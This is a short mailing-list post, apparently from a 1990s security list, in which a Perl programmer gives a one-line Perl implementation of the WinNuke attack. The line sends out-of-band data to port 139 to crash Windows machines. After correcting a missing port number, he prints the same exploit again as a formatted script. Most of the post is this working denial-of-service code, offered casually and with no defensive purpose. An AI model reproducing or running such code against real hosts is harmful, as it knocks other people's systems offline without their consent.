Re: winnuke in one line of perl5.004

[merlyn () STONEHENGE COM (Randal Schwartz)]

> > > > > "Randal" == Randal Schwartz <merlyn () STONEHENGE COM> writes:

Randal> perl -MIO::Socket -e 'IO::Socket::INET->new(PeerAddr=>"some.windoze.box")->send("bye",MSG_OOB)'

Randal> OK.  One *slightly long* line.

Ouch.  Forgot the port number.  Once more, with feeling:

perl -MIO::Socket -e 'IO::Socket::INET->new(PeerAddr=>"bad.dude.com:139")->send("bye",MSG_OOB)'

And formatted so it's a little easier to read:

        #!/usr/bin/perl
        use IO::Socket;
        IO::Socket::INET
                ->new(PeerAddr=>"bad.dude.com:139")
                ->send("bye", MSG_OOB);

There.  I hope they don't take away my Perl goo-roo card for that faux
pas.:-)

--
Name: Randal L. Schwartz / Stonehenge Consulting Services (503)777-0095
Keywords: Perl training, UNIX[tm] consulting, video production, skiing, flying
Email: <merlyn () stonehenge com> Snail: (Call) PGP-Key: (finger merlyn () ora com)
Web: <A HREF="http://www.stonehenge.com/merlyn/";>My Home Page!</A>
Quote: "I'm telling you, if I could have five lines in my .sig, I would!" -- me